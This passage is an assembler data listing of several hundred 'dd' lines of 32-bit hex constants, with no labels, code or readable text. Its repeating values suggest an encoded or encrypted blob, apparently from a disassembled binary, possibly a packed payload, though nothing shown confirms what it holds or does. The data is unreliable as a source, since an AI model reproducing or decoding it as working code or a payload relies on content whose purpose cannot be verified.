		dd 8EC479C5h, 0DF36577Bh, 443211D9h, 496C3866h,	0E91B556Eh
		dd 80594B63h, 0EFC74A26h, 750FAF06h, 0AA5454F8h, 61538CC9h
		dd 443217FBh, 2232198Fh, 63D74D66h, 57B6BD2Fh, 0BBFE5116h
		dd 0F6AF981Ah, 1E340F9Dh, 88321DE4h, 46BE1A66h,	42321566h
		dd 1EE1EA07h, 883219E6h, 42BA1A66h, 2D321566h, 113215E8h
		dd 0CDAF9866h, 24340E76h, 0F046AA00h, 0CDFD9400h, 5BCD74D5h
		dd 443B9E69h, 44521566h, 888EFFE7h, 83534F34h, 76B71AA6h
		dd 0CB321566h, 11321576h, 10D36C3Eh, 5FDE1940h,	9D44EF2Ah
		dd 0B67D6C28h, 8832418Fh, 56B21A66h, 2D321566h,	113219E0h
		dd 8835FC66h, 0CA1566h,	841174F2h, 14B796BDh, 8D340657h
		dd 44321B8Fh, 0A5131E66h, 6A21331Fh, 0EB2AE58h,	0ADA076F8h
		dd 0DDCDEBE7h, 1DA4506h, 0A1321566h, 0C35BCA95h, 0B7700197h
		dd 8232E2B3h, 0D0C6F285h, 8A8D1A3Fh, 1AF9807h, 1E340E74h
		dd 883214E8h, 97CDE066h, 223C9B69h, 18DB1566h, 0DC321566h
		dd 4CFE4AE8h, 8F8D3EF5h, 943DD56Dh, 8832153Bh, 44229F69h
		dd 29DB1566h, 0F8321566h, 973D1CDCh, 12A4AB09h,	0CB52C2B1h
		dd 11321561h, 0EAE34CA1h, 0ADF49AC5h, 22321563h, 0B1930D42h
		dd 0CDDB743Dh, 24321566h, 2232058Eh, 41BD4866h,	3FA7813Eh
		dd 17D72BDh, 0E89D7677h, 11B41A3Fh, 0D2321566h,	44349869h
		dd 0E9B31566h, 5DAB3637h, 8C894607h, 45321566h,	62E9EBCh
		dd 0E936D1E5h, 8833258Fh, 45B11A66h, 0DB321566h, 9CBF88EBh
		dd 252137Eh, 0FA5442A9h, 436C8B97h, 923DC699h, 88321554h
		dd 44389969h, 27DB1566h, 6D321566h, 64276F2Ch, 7537A0EDh
		dd 2D521375h, 113213E4h, 0EDD09466h, 2510A26Eh,	221FBD8Fh
		dd 12B11A66h, 0E8321566h, 0C9B9749Ah, 24212463h, 11299169h
		dd 0E8521566h, 4420FC07h, 0BA441566h, 5F773FC3h, 84FE3641h
		dd 80CE84D4h, 586655ACh, 14879C07h, 87340657h, 44321DE9h
		dd 20BE1A66h, 71321566h, 98B41A07h, 24321566h, 2232108Eh
		dd 792D2766h, 876C6075h, 1253C2D9h, 0F67914D8h,	0E8DC947Bh
		dd 9216526h, 63EC090h, 42F49406h, 103EEB9Ah, 791B4B97h
		dd 470FFCE7h, 4AC76243h, 11321566h, 0C1611E7h, 6D7E9B75h
		dd 0EB3316Ah, 9F219142h, 87524C2Ah, 443211EBh, 648B7366h
		dd 16DB754Fh, 9E321566h, 0F74696Ah, 4353437Bh, 3C8DD3E7h
		dd 66B37643h, 63A1A29h,	0E4B3DB4Fh, 533A1A29h, 0A58DFBE7h
		dd 0C03D7643h, 22321567h, 0E996E69Ah, 77CEBD8Fh, 4439FC99h
		dd 87421566h, 721F85D4h, 0A9AC810Dh, 8BAF98FAh,	0D7340CFFh
		dd 9D3DC699h, 88321567h, 57997D93h, 1EBB1566h, 19DB4D42h
		dd 0AD321566h, 2AA583B7h, 0CB67AF0Bh, 11321563h, 0A8F9595Ch
		dd 0B1B73E75h, 0CB340678h, 11321577h, 56543080h, 16A7541Ch
		dd 3F8EA420h, 0C39C0F7h, 11B79CF0h, 0AD34064Fh,	22321561h
		dd 0A492EE21h, 3607D7Eh, 572CE0E3h, 34B31A60h, 0F8321566h
		dd 88321577h, 7FDD7E8Ah, 97A8EB94h, 84CEC5ECh, 0DEC839C9h
		dd 0A3BB42E5h, 2236D2E7h, 0FEB31566h, 88321562h, 181629E1h
		dd 2D1629EFh, 113201EDh, 80DB7566h, 0C0321566h,	0D1B8039Eh
		dd 772F5310h, 0DD37C5E7h, 7C727D07h, 26BB1566h,	1BE1A42h
		dd 0E8321566h, 4432138Eh, 56D2C966h, 4AA956EFh,	553FDD5h
		dd 5DA9F8EBh, 23B61A60h, 0E8321566h, 3CEC499h, 573E04E3h
		dd 0F2B87560h, 0AF31C7E7h, 0DD5322B2h, 81B3F0EFh, 22321562h
		dd 9636F8E5h, 16E314Ah,	48DB3162h, 0D321566h, 53131997h
		dd 93D9E06h, 13226C9Fh,	0E5B3F2EFh, 11321562h, 8836FAE7h
		dd 78B51566h, 1EBB4942h, 0D9B27542h, 88E1956Ah,	4B627507h
		dd 223215E0h, 0AF544D66h, 35386D2h, 572CE0E3h, 2221FC60h
		dd 53F81566h, 0D28525Dh, 5E13E121h, 0E34B6D39h,	8DE3DECDh
		dd 68BB454Fh, 44321163h, 22363866h, 15B51566h, 8CBB4942h
		dd 49B11A42h, 42321566h, 0D2F59400h, 88BB1A94h,	25321566h
		dd 0BF0298EBh, 7152137Fh, 84DB7406h, 94321566h,	0BF416875h
		dd 0D03A6FF9h, 0E9E32E42h, 44321B8Fh, 58462E66h, 3AD53579h
		dd 0C2FE5495h, 250C76CCh, 0A63DC499h, 11321570h, 8832048Fh
		dd 3033A766h, 7F8BA11Eh, 8D7E7083h, 344F07BCh, 0A8B18B4Fh
		dd 6369C62h, 0C81621E7h
		dd 0D26AE407h, 25EBE7E7h, 0CB524D97h, 1132156Ah, 0FB9D3744h
		dd 0AEA1CCD1h, 749DCA6Fh, 4153C3EDh, 0E31611E7h, 1D386F0Bh
		dd 4F59AB30h, 0E01B1F1Ch, 82DB7538h, 27321566h,	83918965h
		dd 9278025Fh, 8BB61A4Ch, 4B321566h, 953CFD9h, 23E04EBh
		dd 84BE1A60h, 4B321566h, 223213E0h, 11B81A66h, 0B321566h
		dd 573BF4DBh, 0A63D1560h, 113215F6h, 8EB71A06h,	4B321566h
		dd 223215E3h, 9C3D7466h, 88321567h, 49B79E9Ah, 0D7340643h
		dd 18D3904Dh, 86DB1375h, 9D321566h, 2665BE0Bh, 93C68714h
		dd 6C0225FAh, 4BF32E64h, 223246E0h, 10B21A66h, 74321566h
		dd 679B90EDh, 27DB1375h, 93321566h, 170467C6h, 44321E8Fh
		dd 97305066h, 9BAAD064h, 6DFA11C3h, 4DD39065h, 2DCE1375h
		dd 113214E8h, 0DBBE066h, 42211597h, 2348FC9Ah, 1CDB1566h
		dd 4B321566h, 0C1D802BFh, 926242F1h, 98076010h,	8831C90Eh
		dd 603E9C66h, 2237FC06h, 830C1566h, 3A32DEEh, 0CD6574BEh
		dd 16B342A9h, 0CA35C642h, 5B074D20h, 1B74CE61h,	95E79506h
		dd 70F4A269h, 0A5ADAE35h, 0AFB34A56h, 7D0238C6h, 0F869CD67h
		dd 88321569h, 2B9314AFh, 22010CC6h, 45F91599h, 0B323821h
		dd 58BB118Ah, 2DCDAE42h, 0C93B1566h, 3765E93Dh,	44321567h
		dd 0CB6DED67h, 11321560h, 0DA8FB7Ah, 0C1BB37A1h, 2421306Bh
		dd 11359469h, 0B3D1566h, 44321567h, 1FB7149Fh, 0F834066Fh
		dd 8832156Dh, 0B5C14E44h, 0A0D0B6Eh, 0D6A0693Eh, 9B3BF4E3h
		dd 44321560h, 0AB3D7566h, 11321564h, 6060C3EDh,	4432156Dh
		dd 77BCBF11h, 0FA83FAA7h, 0D3BB43E6h, 458743Eh,	223E9F69h
		dd 913D1566h, 88321560h, 44329D69h, 225A1566h, 71321576h
		dd 0E9FCA793h, 442CD70Eh, 63E9C66h, 0F8327F9Eh,	8832156Fh
		dd 3FA8092Bh, 1379CF21h, 0B8A7EA38h, 8734067Bh,	443214E5h
		dd 0DDC7E066h, 21EC8F3h, 84BE1A60h, 24321566h, 4DC6BAD8h
		dd 83D5AD59h, 15331FFh,	5711BCE3h, 24DB7560h, 0D9321566h
		dd 8B5D8F9Eh, 0D48D736Eh, 0A73D7402h, 1132156Bh, 88BE1A06h
		dd 22321566h, 8C5FD6E7h, 0E0B79C07h, 7D340666h,	171619EDh
		dd 0E1B3F6EFh, 11321562h, 0F36D6E5h, 0BD6E317Ah, 22C3A099h
		dd 71CA1375h, 8832138Eh, 0CC56FD66h, 0CAD97F4Ch, 1132156Dh
		dd 7A177F22h, 2B37F8DEh, 7A7B11E2h, 1137FC3Fh, 298C1566h
		dd 25F93968h, 2E23A099h, 79C71375h, 883233B9h, 0B11629EFh
		dd 24B71A06h, 90321566h, 2C3AEABEh, 9C851A32h, 0D787EA07h
		dd 0E4340678h, 30BC90EBh, 4B52137Fh, 223218E7h,	1135FD66h
		dd 745B1566h, 0AD0EC31Ah, 0DD534FA6h, 9C33EDB6h, 8E211C87h
		dd 44389169h, 27DB1566h, 0D2321566h, 152AE507h,	44C3A8EDh
		dd 0A13D1375h, 1132156Eh, 52F09406h, 2500CC20h,	2E23A0EDh
		dd 1CDB1375h, 4A321566h, 8B402E09h, 0E6657E32h,	8D6C821h
		dd 8832018Fh, 679D8766h, 92E5BCB2h, 3E66A631h, 67B3B822h
		dd 0FA8D997h, 4296E617h, 9FBFAD00h, 3DB97493h, 42210CEFh
		dd 0CA52B893h, 11321575h, 85823851h, 3AC16751h,	394249BDh
		dd 3B9AAA26h, 84D956Ch,	0AD6A79ADh, 22321572h, 0A3173FE3h
		dd 12B16F76h, 9E237F1Eh, 8E72A793h, 6E932462h, 883CFC07h
		dd 0DA531566h, 5E76B582h, 80BBF738h, 18FFCC4Fh,	42FDAA31h
		dd 64F54A1Ah, 6D34DA9Ah, 74894639h, 45CDEA99h, 79092495h
		dd 113AFC39h, 0CAD31566h, 879D27C6h, 0E2F314F0h, 48657563h
		dd 8CDE9407h, 0CD321566h, 48C3152h, 0D00C4D20h,	4EB31180h
		dd 0D79DA2CFh, 426CE567h, 11321D8Fh, 213F2F66h,	0D02329F8h
		dd 2CDB749Ah, 0A2321566h, 14D61F30h, 3C4614D4h,	0C76FACD2h
		dd 0A8B71603h, 0E834066Dh, 0CF530AD2h, 3132E4EBh, 0DA8B7560h
		dd 617FFD32h, 44321568h, 9CDF86ACh, 48C7FE62h, 0DE847F71h
		dd 2453F7D1h, 7363749Eh, 41371DFh, 0AC7E1447h, 44BD4C62h
		dd 3563DE7h, 0DB3473h, 7A321566h, 8A3B8E1Fh, 0B3692DF4h
		dd 0B537B58Dh, 0BAE91148h, 2C62ECCBh, 70523DDEh, 901611EDh
		dd 883211A2h, 6C8A3866h, 64BB4706h, 0F8CB4D9Ah,	88321561h
		dd 7449281Ch, 0AB8C913Fh, 22B9CD3h, 82B01A60h, 0AD321566h
		dd 22321563h, 0BF002C24h, 77CA96DFh, 44B79069h,	0CA521566h
		dd 11321560h, 65FEF4Bh,	0FF5433F0h, 2D6BF312h, 0F853EED9h
		dd 8832156Eh, 76925787h, 23A4D6C9h, 0CCEF2BE7h,	0D3DC8BBh
		dd 44321531h, 22321E8Fh, 92D79E66h, 4ACC7FC9h, 64BEE553h
		dd 9C644693h, 16F65C5Ah, 4C7B29DDh, 1AC13C61h, 42690BEFh
		dd 155A4407h, 0D1321566h, 4B6BDB67h, 22321EEBh,	1134FC66h
		dd 0E2FE1566h, 0AF96E5FBh, 3BBBA0EFh, 0F8CB1375h, 77CDC171h
		dd 58BFAD06h, 9A542471h, 0D0537187h, 83DB16A6h,	89321566h
		dd 13A8A751h, 66DA6F19h, 0D31032Ah, 42211EDFh, 223E9569h
		dd 953D1566h, 88321560h, 44329769h, 9FB11566h, 172125EFh
		dd 1BB61A67h, 4B321565h, 223214EBh, 2FB3E066h, 2298BFCCh
		dd 44979069h, 32DB1566h, 52321566h, 1CA2B61Bh, 677784CBh
		dd 617097CCh, 7939BA6Ch, 88327F9Fh, 0FE1601EFh,	22321562h
		dd 1E68C367h, 883212ECh, 45BA1A66h, 0D7321566h,	6F35A833h
		dd 55C5503Dh, 0A1E3C091h, 2180F0E7h, 907F01DAh,	3BCDEA8Bh
		dd 2BD4066h, 0A13D489Ah, 11321574h, 883E9F69h, 43DB1566h
		dd 49321566h, 1C584933h, 7003FCBFh, 0BC03D257h,	0AAF19406h
		dd 0F86E42E5h, 88321575h, 6622CF6h, 0D3EDDE1Fh,	0B6A333Ah
		dd 0D293C776h, 2540CA10h, 73DBA235h, 0D9BAECEEh, 61C74E3Fh
		dd 44321526h, 22339F69h, 20C71566h, 0B9F5249Eh,	4082E99Eh
		dd 0CAF2FC42h, 0D0814665h, 0A469CD6Eh, 59B51ABFh, 42321566h
		dd 1132018Fh, 3727CA66h, 53F09571h, 50C657CBh, 699B8A44h
		dd 70B98EF5h, 2585A0A1h, 227B270Eh, 35369C66h, 8832188Fh
		dd 0C10F066h, 33DF7956h, 1E2C0D3Dh, 35B196BCh, 42210F13h
		dd 74B61A67h, 71321567h, 18E99431h, 1B61292Eh, 7053CFEDh
		dd 66887D30h, 96C384Dh,	0B037F80h, 8C49404h, 98121E56h
		dd 58BB4B94h, 443EFC3Ch, 0F4011566h, 340EA73Fh,	0CFE88EB2h
		dd 0F9B144E5h, 2428816Fh, 26B61A66h, 7D321566h,	895888EBh
		dd 4452137Fh, 0D3B8CBEDh, 87607507h, 443215EAh,	33DB4C66h
		dd 0A1321566h, 0E14615E4h, 284A69F8h, 0DB93F613h, 1E19563Fh
		dd 87E1EA07h, 443214E9h, 1DB2E066h, 43B61AF6h, 61321566h
		dd 44321576h, 7E024D8Ah, 97DFDE51h, 657453C7h, 0EBF57D75h
		dd 2237A833h, 0FEB31566h, 0B9465BE0h, 83B3FA67h, 13465BE0h
		dd 2BB1A3Bh, 61321566h,	44321568h, 3D7DF4C0h, 0F73503C9h
		dd 5005D6F8h, 0EBDBE122h, 42321567h, 77EBA269h,	2D62CAE7h
		dd 14CA9607h, 22459769h, 9C3D1566h, 8832157Ah, 86851A06h
		dd 2232078Fh, 0E6897666h, 0DD39B8F0h, 9DCEC1Ah,	6C910648h
		dd 70B447B3h, 38A6A734h, 1EE23D8Dh, 0E231F5A6h,	9E36128Eh
		dd 88389B69h, 24521566h, 22BA1A07h, 70321566h, 888C75CCh
		dd 0C550BEEFh, 0D207E588h, 15B97443h, 6EBB4342h, 4436D3E7h
		dd 0E4B31566h, 11321562h, 0D41621E1h, 1ECA4506h, 8AC9AD00h
		dd 0F8CEBF07h, 883215D6h, 6006EA93h, 26F6963Eh,	7752BF9Ah
		dd 871D89DFh, 443214EBh, 0A253E966h, 1EDBEA19h,	88329AE3h
		dd 0ACCA7566h, 22321577h, 62528FBDh, 9C8AF670h,	0D9DC1C1Dh
		dd 94F22F8Ah, 1123FC0Ah
		dd 5E551566h, 0C8401A3h, 13FE83A2h, 0EECEA77Fh,	0D64F7F4Ah
		dd 4D8F9607h, 22340FF2h, 111E9169h, 5C71566h, 5DFE55FBh
		dd 223FFC60h, 0B77B1566h, 4CF0F237h, 15A19B26h,	0DDB8B50Ch
		dd 0AE3D75B5h, 8835FCBFh, 0B9601566h, 63D5F3E8h, 0A863741Eh
		dd 88321562h, 0CC60EC67h, 78239DA4h, 0BC1A3Fh, 61321566h
		dd 4432156Ah, 859B91A4h, 739DBEA3h, 0CD80AD47h,	44C390EDh
		dd 30DB1375h, 0C5321566h, 696CF855h, 93A6D771h,	141AB893h
		dd 1133D393h, 8823FCDBh, 0B5041566h, 51D22473h,	671124F0h
		dd 62016E50h, 694E08CFh, 5DC96FF4h, 142C1A4Bh, 8DCA3C7Ch
		dd 5E370B69h, 0D9488763h, 113BFC19h, 47D51566h,	0A421B095h
		dd 0A1B3F163h, 0DBB118Ah, 8836AE42h, 9C1B1566h,	2238FC3Dh
		dd 78611566h, 0C428A95h, 8EC50A81h, 429FE9CDh, 1CDAE6EDh
		dd 0B7321566h, 7EFE8404h, 9C50EFC6h, 22E96675h,	0D8637438h
		dd 2C3C09DEh, 44F2AC36h, 0D033A99Ch, 7474D23Eh,	495061BAh
		dd 7BCE5B57h, 0EA6BFC9Ah, 0E3DEA99h, 44321561h,	22339569h
		dd 98CE1566h, 9B2B9CD3h, 43B11A60h, 2D321566h, 113214E7h
		dd 164E066h, 40F49480h,	0A1321566h, 25B51188h, 9CBB4942h
		dd 4CBB1A42h, 42321566h, 11329469h, 0E0531566h,	44329566h
		dd 223E9E69h, 9E3D1566h, 88321560h, 44329069h, 0A53D1566h
		dd 1132157Fh, 8832018Fh, 711B1066h, 7683FBF3h, 0F353D003h
		dd 0EEFAFA44h, 6263A23Dh, 2D327F1Dh, 113212E1h,	3547566h
		dd 25F59E98h, 2F1BA099h, 1ADB1375h, 0F1321566h,	102A54E1h
		dd 6A9D6494h, 84CDB5F1h, 8E211453h, 44359869h, 0A13D1566h
		dd 11321567h, 0AC06EA9Fh, 40F6963Ch, 6BBF9E9Eh,	71340676h
		dd 8832058Fh, 92DF0E66h, 1887DF05h, 863F579h, 86B63CF4h
		dd 225274BFh, 0A354CDEDh, 705C1C8Dh, 8832AA31h,	7DBB1566h
		dd 0A11629EDh, 46CB11A2h, 883211D9h, 0CFCB1466h, 0E6B3315Ah
		dd 11321562h, 40851A06h, 44321E8Eh, 92DE6666h, 1A0CDE74h
		dd 64CADF2Ah, 44329069h, 436A1566h, 58BF9C9Eh, 61340676h
		dd 44321560h, 32D71351h, 0FEDB4091h, 71CDEAA1h,	4418EB8Fh
		dd 4252ED66h, 0F885F2E6h, 88321569h, 8813FB23h,	53FC334Ch
		dd 24E1EFB5h, 0E92FCA61h, 547B98EDh, 74521375h,	11329869h
		dd 0E8691566h, 4432018Fh, 0F1E94666h, 62C0FB62h, 625F8BCEh
		dd 0F00C9FE5h, 59D6D231h, 0CE851ADFh, 0DA617407h, 443215DCh
		dd 78E19C66h, 1AB9DE67h, 89B91A3Dh, 0BC321566h,	0B63798EFh
		dd 0F852137Ch, 88321575h, 0B8A6045Ah, 0E7AD7B9Fh, 0F69843F5h
		dd 0F3488DF3h, 0ADDCBA01h, 22321576h, 4589771Fh, 0EFDE8D11h
		dd 581AF6A0h, 0E7BCBC1h, 5F0A9407h, 877E5132h, 44329CE3h
		dd 223BFC66h, 2A111566h, 0E68B42E0h, 22007939h,	6E366DE7h
		dd 7EB71A48h, 74321566h, 60369436h, 46967D52h, 68F4038h
		dd 918E418h, 9B7553ABh,	27D7D45Fh, 0D4B3C091h, 0CD386A08h
		dd 0B88BE0E7h, 0CC1BB4D8h, 40CEEC3Bh, 883213DFh, 0CFFC1466h
		dd 0E6B3316Ah, 11321562h, 883A9769h, 0C43D1566h, 22321564h
		dd 94B97406h, 8E2101ABh, 4127FC9Ah, 0A13D1566h,	11321574h
		dd 8832188Fh, 18AA1266h, 737636F9h, 0D9CA2313h,	9629E7Fh
		dd 4E33152h, 706C0B87h,	92728EDCh, 0C2C0942Ah, 75607766h
		dd 72CA4FB0h, 901601EDh, 883211A2h, 0C5527566h,	1740098Ch
		dd 20537479h, 83B11AAFh, 24321566h, 22329169h, 9A541566h
		dd 719E74B1h, 0C03D155Ah, 22321429h, 1E1F299Eh,	77CDF8E2h
		dd 4420FC99h, 62101566h, 94A5C65Ah, 1ACBCD94h, 961FCCAFh
		dd 0BB18A9Ah, 0C8C49406h, 32A1491h, 6A0E74A5h, 22D39169h
		dd 2DCB1566h, 0ADB01A56h, 24321563h, 2CDBF0ECh,	0E7321566h
		dd 0A03083E4h, 0A05F5D43h, 0B1C53B0Fh, 280E74EEh, 77AE9369h
		dd 0ADCAEA99h, 22321574h, 3C71CE05h, 22C56A02h,	33BA7268h
		dd 0DC72C18Ah, 500EA0BEh, 8CD49769h, 0CB3D1566h, 2232156Bh
		dd 11321D8Fh, 0B5A5AE66h, 0CE4EA550h, 2D6829F7h, 0EECD74E0h
		dd 43D7599h, 44321565h,	99E59E00h, 36A43A4Fh, 876D2907h
		dd 0BBCD5CE2h, 0AB3D7599h, 11321565h, 61EC9E00h, 44321563h
		dd 0A08381B2h, 715274D1h, 0E8F9A269h, 0FC547407h, 1E53FDB1h
		dd 98B01A07h, 70321562h, 4B48299Fh, 0DDCD00E0h,	2BA1A99h
		dd 61321566h, 44321568h, 0A699E9F8h, 0CE3FFD56h, 85AFFCE5h
		dd 0C93D8124h, 22321567h, 1568FC9Fh, 0D3D1566h,	44321561h
		dd 22339D69h, 44CA1566h, 883214DBh, 19D81466h, 0D00BE99Fh
		dd 15089169h, 0EE521566h, 1753E6EDh, 0DDCDEADDh, 4AE81499h
		dd 898A459Eh, 45321566h, 0CBC74DA7h, 0EECDEBD4h, 9C8B7306h
		dd 0DFF4ABE9h, 0A7530B2Bh, 18B61AAFh, 87321562h, 443212E5h
		dd 23B01A66h, 0E9321566h, 65CBAA06h, 25CA1C1Bh,	227BA0EBh
		dd 9A3D1375h, 88321577h, 4432198Fh, 3F07B466h, 4B5F1BF6h
		dd 4115114Ch, 92BB4362h, 16B9E4EFh, 15F69442h, 87321566h
		dd 443212EAh, 43527566h, 70F1AA69h, 16B4737h, 0AC524CA9h
		dd 2232156Bh, 0D370EE7Fh, 3CFF20B7h, 2FB2A3DAh,	223DFCD5h
		dd 0AEAC1566h, 0A6BF5380h, 2342CD35h, 155C94ACh, 40534A7Bh
		dd 0BE821DD3h, 48B9FD4Eh, 26F69642h, 11349569h,	3521566h
		dd 25E49E95h, 0DF47BB93h, 11339E69h, 0E8CE1566h, 0A90FAF00h
		dd 0A35364D7h, 0D241D28Fh, 7DB946Ah, 6D642A2Ah,	0ADF3949Fh
		dd 90642A2Ah, 4B41D2A7h, 443FFC6Ah, 93571566h, 50CBEC67h
		dd 7ADF6A7Ch, 15A91696h, 0D56F4C33h, 0E8DB92BBh, 0E731FAE7h
		dd 0ABB300D3h, 630502F7h, 0D6B3DA4Fh, 0C90502F7h, 2B31D2E7h
		dd 0A03D00D3h, 1132156Fh, 36E69F06h, 145120DEh,	223BFC07h
		dd 9E541566h, 0BFDB9805h, 13C62048h, 226E010Eh,	35069C66h
		dd 61524B39h, 4432156Ah, 5CEAB4C6h, 0ED437434h,	0C8850142h
		dd 44379969h, 0EE8D1566h, 70734C9Eh, 6196E69Eh,	4432156Ch
		dd 0FFDAF5E6h, 0DBDC5909h, 952C034h, 92A12F8Ch,	0C5B37367h
		dd 795311B0h, 88325480h, 0F41611EFh, 0DD759D66h, 9CCAEC3Eh
		dd 9B325CF3h, 4422FC60h, 0AF221566h, 0C24D02Eh,	75D35155h
		dd 77EF713Dh, 0A13D6DE2h, 1132156Ah, 88349A69h,	0C03D1566h
		dd 22321566h, 0FE790EDh, 0DC71375h, 0C6B71AA6h,	0DB321566h
		dd 0D390A0h, 61751375h,	44321569h, 8D21CF99h, 0AA838ADCh
		dd 0A09925BBh, 2CCACB52h, 0F6A8B2B4h, 1AD89506h, 88321A8Fh
		dd 0C1B86D66h, 0CD19F611h, 7EB28F1Dh, 0B27AC9AFh, 0AD87EA07h
		dd 42340678h, 8F2AC3E7h, 71B977F3h, 77B79807h, 0CB34031Ah
		dd 1132156Ch, 69D29A0Bh, 3BEBCEE7h, 0DDCAC574h,	19B81AB6h
		dd 87321566h, 443217EEh, 0CB537566h, 1132156Bh,	4F4899C4h
		dd 0A695D5B7h, 1DEC19Eh, 0F6BB42E5h, 8836D2E7h,	0ABB31566h
		dd 22321562h, 4D1629E1h, 611601EFh, 44321576h, 0CD5B22BCh
		dd 0FC6971EFh, 0C50CA070h, 87E49818h, 0A43DC599h, 1132157Eh
		dd 8832068Fh, 4D52C566h, 0B46A3733h, 0FA9F631Eh, 0A3400ADAh
		dd 9BC87BAh, 0A73DD5E3h, 113215B9h, 0E9FC9E06h,	55DF90EDh
		dd 2BDB1375h, 80321566h, 2842AE28h, 720ED76h, 0A73DD5E3h
		dd 11321532h, 8832138Fh, 0BEAE7966h, 0E4B18B40h, 223F4E3h
		dd 0F3D5960h, 4432156Eh, 44D09F06h, 7030DEDFh, 522EFC0Eh
		dd 0F1CDECBFh, 24210B8Fh, 22B79893h, 0E834031Ah, 0B5851A35h
		dd 24B31A3Dh, 90321566h
		dd 3E4A7E97h, 94CD742Eh, 2232128Fh, 7A75A766h, 87A1D9DEh
		dd 0C5D19C35h, 223211A5h, 15D99466h, 0F321566h,	0CD6E317Ah
		dd 0A2523172h, 9A54E380h, 58CD74BEh, 44359C69h,	0A13D1566h
		dd 11321567h, 82BF1A9Ah, 0AD321566h, 22321563h,	7C6A8AEDh
		dd 87F29092h, 443233E3h, 32B71A66h, 71321566h, 8832128Fh
		dd 8DB45066h, 0A7A9A053h, 0F8537406h, 883215DEh, 7C8C7306h
		dd 5092AF63h, 9853617Ah, 92A610E3h, 4BCE7560h, 4A53DDD1h
		dd 11324B2Ch, 0E81611EFh, 79B3FBE7h, 43C71F0Ch,	1142690Eh
		dd 0AC069C66h, 4432108Fh, 9B284666h, 94BF8AADh,	8E2487ADh
		dd 443B9669h, 0D7521566h, 2B90DAE7h, 875371EFh,	443218E4h
		dd 223AFC66h, 39AA1566h, 413DF69Dh, 94CD9F5Ah, 2232078Fh
		dd 57201866h, 0A35BCE17h, 0D3FEC94Bh, 0DA11A632h, 1A715CC9h
		dd 97B71AA6h, 0B8321566h, 22323A8Fh, 1126FC66h,	2911566h
		dd 0A09E3538h, 1EBD6C68h, 0EE671176h, 78B75829h, 0BB47DAh
		dd 0A03D0942h, 1132156Ah, 88349A69h, 0C93D1566h, 22321566h
		dd 1ECB7507h, 883215E9h, 0BDF17466h, 0AFB9EC06h, 17288163h
		dd 0E9C29E06h, 4418920Eh, 6369C66h, 1123FD06h, 0BD521566h
		dd 6E63C6F0h, 0F482E52Fh, 2926A2AEh, 0D0E84F1Bh, 0B1534D36h
		dd 0AB6F4433h, 9152488Eh, 0DB5387B6h, 443229DDh, 0B6D99466h
		dd 100EB73Ah, 1CF194A5h, 470EB73Ah, 0AB3D4E65h,	1132157Ah
		dd 88BE1A06h, 0AD321566h, 22321569h, 228FEDD7h,	18DF282h
		dd 5D1501F2h, 4395BBFEh, 11BAA599h, 9CB91566h, 40F69442h
		dd 0CB321566h, 11321569h, 8080D8F5h, 0D73D586Fh, 0D5C5CA6h
		dd 985D43D8h, 9B3DE0F3h, 4BDBE060h, 3C321566h, 0D8B1EA1Fh
		dd 871F11CEh, 9C260215h, 7367181Dh, 7F4F0CDFh, 5EF39468h
		dd 0B3625463h, 20DBD4BFh, 0C0C5C491h, 0CCEEE4E7h, 89BB69FDh
		dd 0D7B3583Fh, 2FA54A63h, 0CD7FF0B7h, 0B3E6D0E7h, 0CA333E29h
		dd 18DB753Bh, 0D9321566h, 5FC85EB3h, 0BCECB724h, 113FFC07h
		dd 0A2321566h, 1C15F874h, 8A7B6783h, 4242CAE2h,	883219DDh
		dd 0CFF11466h, 62E9E75h, 1E36D1E5h, 883204E8h, 443EFC66h
		dd 6F7F1566h, 6E5E6FEDh, 8DA92069h, 0D1BB11ABh,	24211C8Fh
		dd 11321B8Fh, 78E6E66h,	705E1C3Fh, 0DC1B49E4h, 0ED9BCB61h
		dd 0D0162199h, 4436D1E7h, 0A43D1566h, 11321567h, 0AC46EA9Ah
		dd 60369E42h, 2236D1E7h, 18DB1566h, 0CD321566h,	2EED0B4Eh
		dd 9A55AB28h, 0C53AC863h, 0DEFA3C44h, 903AC8D8h, 7CC23C44h
		dd 1132198Fh, 57FF7B66h, 2EE30425h, 0E9626D46h,	0F8B72E62h
		dd 8734066Fh, 44324FE4h, 25BF1A66h, 1E321566h, 883214E9h
		dd 0C109EC66h, 24211A93h, 11739669h, 13D1566h, 4432156Ch
		dd 22B81A06h, 9A321566h, 0E85374A5h, 7B89D2D6h,	436CF183h
		dd 713211A4h, 9B2C3E7h,	0AD524530h, 22321569h, 0BD9B6E12h
		dd 0B78C4359h, 0D5C5F96Eh, 2DB1F1E9h, 113215E1h, 0E9537466h
		dd 12ED9E06h, 2232068Fh, 0F01FBB66h, 2BAAC162h,	0F8D4809Bh
		dd 0F73938AEh, 69BBAEEBh, 6052743Fh, 44321572h,	0DBC21D65h
		dd 0F3482CDCh, 12BFEF2Bh, 0F35F3884h, 45A647C5h, 1132068Eh
		dd 0BC5F8D66h, 0F31628ABh, 0C2B0C536h, 211A92FCh, 343EC36Ah
		dd 0B48B4D3Eh, 4318D5F3h, 1136F9E7h, 94BB1566h,	4432AE42h
		dd 7EBB1566h, 71691142h, 8832018Eh, 0B8593E66h,	46AD5200h
		dd 1B478887h, 0E5391027h, 58FA9073h, 22B51A21h,	4F321566h
		dd 0CCF5EC07h, 7B941142h, 66B523F1h, 0C1C51142h, 8C1651E1h
		dd 401661E7h, 0EB5AD53Fh, 11219969h, 86DB1566h,	37321566h
		dd 660C60Fh, 0FFD813F4h, 0A9A125Eh, 0F967442Eh,	78E9588Bh
		dd 612521DFh, 0D5DB2404h, 0EF68C9DEh, 7BFA245Eh, 11359669h
		dd 13D1566h, 44321567h,	0AFBFE99Fh, 17215AEBh, 9DBC1A06h
		dd 0AD321566h, 22321576h, 6BDEC8D9h, 151CBA41h,	4FB5C6CAh
		dd 0C8403981h, 11319F69h, 3541566h, 2452749Fh, 0A353E993h
		dd 2FB5B4A1h, 69CD742Fh, 4432128Fh, 127F8566h, 69A917DDh
		dd 8820FC06h, 0D3771566h, 0E2D23D71h, 400604BAh, 1C78E63h
		dd 9066AF84h, 0AB36F9E5h, 118B316Ah, 89321566h,	1D339F97h
		dd 2DDB2993h, 11332FE2h, 373D7566h, 46B11AA9h, 90321566h
		dd 2DCA74D4h, 0F0B61A8Eh, 0B8321567h, 0A63D1A5Ah, 1132153Eh
		dd 8832198Fh, 0C08D1966h, 5F05DB32h, 2D735669h,	87FF29A4h
		dd 4433C4E2h, 23BA1A66h, 0E8321566h, 0C3DFE5Ah,	44321494h
		dd 9A8B7306h, 0EAB9732Fh, 63D7407h, 44321576h, 22321E8Fh
